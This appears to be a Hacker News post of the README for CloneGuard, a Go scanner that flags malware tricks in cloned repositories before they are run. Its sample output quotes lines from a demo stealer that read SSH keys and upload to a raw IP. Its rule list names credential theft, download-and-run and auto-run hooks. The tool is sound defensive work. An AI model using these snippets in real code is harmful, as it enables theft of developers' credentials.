HN: CloneGuard – scan a repo for credential-stealing tricks before you run it

CloneGuard Scan a project for malware tricks before you run it. Built after a fake-recruiter "demo app" tried to steal SSH and AWS keys. cloneguard is a small, dependency-free Go command-line tool. It only reads files. It never runs, installs, or imports anything from the project it scans. Why this exists A common attack goes like this: someone posing as a recruiter sends you a "take-home assignment" or "demo app". You clone it, run npm install or open it in your editor, and it quietly uploads your SSH keys, cloud credentials, browser passwords or crypto wallets. Often the trigger isn't the app itself but an install hook or an editor task that runs the moment you open the folder. cloneguard is a quick first look that catches the usual tricks, so you can decide whether the project is safe to touch. Build Requires Go 1.24+. There are no third-party dependencies. go build -o cloneguard ./cmd/cloneguard Optionally put the binary on your PATH, for example mv cloneguard /usr/local/bin/. Usage cloneguard clone https://github.com/someone/demo-app # clone, then scan right away cloneguard scan ./some-folder # scan an existing folder cloneguard scan # scan the current folder cloneguard ./some-folder # shorthand for scan cloneguard scan --json ./some-folder # machine-readable output clone runs git clone (which downloads files but does not execute project code) into a folder named after the repo, or into [dir] if you give one, then scans it. Other commands: cloneguard help, cloneguard version. Flags Flags go before the path. Exit codes This makes it easy to use in scripts or a git hook, e.g. cloneguard scan . || exit 1. Example Scanning the bundled demo/ folder, which contains a fake stealer and an auto-run VS Code task: $ cloneguard scan --no-color demo DANGEROUS Do not run or install anything from this project. 1 critical, 2 high, 1 medium, 0 low [CRITICAL] util.js:1 Reaches for your secrets AND talks to a suspicious server [HIGH] .vscode/tasks.json:1 Runs a command the moment you open the folder [HIGH] util.js:1 Touches your SSH keys > readFile("~/.ssh/id_rsa"); [MEDIUM] util.js:2 Connects to a raw IP address > fetch("http://203.0.113.7:8080/upload"); Each finding shows the file and line, the offending snippet, and a plain-English explanation of why it matters. (Output above is abbreviated.) JSON output With --json the result has this shape: { "root": "demo", "files_scanned": 2, "files_skipped": 0, "findings": [ { "rule": "reads-ssh-keys", "title": "Touches your SSH keys", "severity": "high", "file": "util.js", "line": 1, "snippet": "...", "why": "..." } ], "verdict": "dangerous" } What it looks for Secret theft: code that reaches for SSH keys, cloud credentials (AWS, GCP, Azure, Kubernetes, Docker, npm, Git), shell history, browser passwords, wallets, or dumps all environment variables Suspicious network use: connections to raw IPs, webhook/paste/request-catcher drop-off sites (Discord webhooks, Telegram bots, pastebin, webhook.site, ...), public tunnel services, or base64-hidden URLs Download-and-run: code that downloads or decodes text and then executes it (eval, new Function, curl | sh) Auto-run hooks: npm install scripts, .vscode/tasks.json tasks that run when the folder is opened, risky setup.py Obfuscation: scrambled code such as _0x identifiers, hex escapes, or code hidden behind long runs of whitespace Compiled binaries (.exe, .dll, .so, .dylib, .node, ...) checked into the repo Dangerous combinations in one file, such as reading keys AND talking to a suspicious server, which is escalated to critical How it works Walks the folder, skipping .git, node_modules, __pycache__, .venv and venv (unless --include-deps), plus files over the size limit. Classifies each file as code, config, docs, lockfile or binary, and applies only the rules that make sense for that kind (docs and lockfiles are ignored for text rules). Runs line-by-line regex rules and per-file checks (for example parsing package.json for install hooks). Combines findings: if one file has hits from multiple risky categories (credentials, network, dynamic execution, obfuscation), it raises a combined finding. Picks a verdict from the worst severity found (see exit codes above). Limits "No red flags found" is not proof of safety. It only means none of these common tricks were spotted. cloneguard is pattern-based, so determined attackers can evade it, and it can produce false positives on legitimate code (a password manager should touch browser data). For code from strangers, still use a throwaway VM or container. Develop go test ./... Layout: cmd/cloneguard/main.go: CLI, flags and clone handling internal/scanner/rules.go: line-level detection rules (ID, severity, regex, explanation) internal/scanner/filechecks.go: per-file checks (package.json hooks, tasks.json, setup.py, binaries) internal/scanner/scanner.go: directory walk, file classification, verdict logic internal/report/report.go: human-readable text output demo/: a deliberately malicious sample for trying the tool To add a detection, append a rule to lineRules in rules.go with an id, title, severity, category, scope, regex and a plain-English why, then add a test in internal/scanner/scanner_test.go. License MIT. See LICENSE.